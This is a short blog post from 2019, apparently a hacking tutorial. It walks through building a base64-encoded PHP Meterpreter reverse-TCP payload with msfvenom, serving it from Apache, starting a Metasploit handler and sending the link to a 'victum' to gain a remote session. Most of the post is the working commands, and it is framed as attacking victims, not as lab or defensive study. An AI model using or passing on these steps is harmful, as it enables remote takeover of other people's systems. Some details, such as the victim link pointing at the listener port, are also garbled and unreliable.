Sunday, February 24, 2019

Hacking with msfvemon PHP payload

So let make payloads with php using msfvemon
what is msfvemon ?? well metasploit framework venom is a payload gen in Kali Linux parrot cyborg hawk black arch hell u can get it on your mobile with termux
so lets start but starting apache2 so open terminal and type >service apache2 start
Hacking A Rise Screenshot-from-2019-02-24-00-05-45

now we need are local ip or external ip for local ip ifconfig and for external google whats my ip
note if using external link u need to forward the ports on your router but thats for another post lol

Hacking A Rise ifconfig

now u got the local ip lets make the payload
msfvenom -p php/meterpreter/reverse_tcp LHOST= 192.168.8.107 LPORT=4444 -e php/base64 -f raw > /root/Desktop/Home.php
Hacking A Rise phppayload

now go to the Desktop and copy the payload to ur html file in /var/www/html folder
Hacking A Rise Screenshot-from-2019-02-24-00-19-51

now open a new terminal and type msfconsole
Hacking A Rise Screenshot-from-2019-02-24-00-22-44

use exploit/multi/handler/
set payload php/meterpreter/reverse_tcp
set lhost ur local host or external ip or serveo or ngrok there for another post
set lport 4444
exploit
Hacking A Rise Screenshot-from-2019-02-24-00-29-33
now send the victum the link 192.168.8.107:4444/Home.php as u see from the pic above the payload connected ^^^
Hacking A Rise Screenshot-from-2019-02-24-00-29-09

now type help and u get full list commands u can run under metasploit 🙂 next one i do on payloads i will show u how to make payload with out ur ip

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.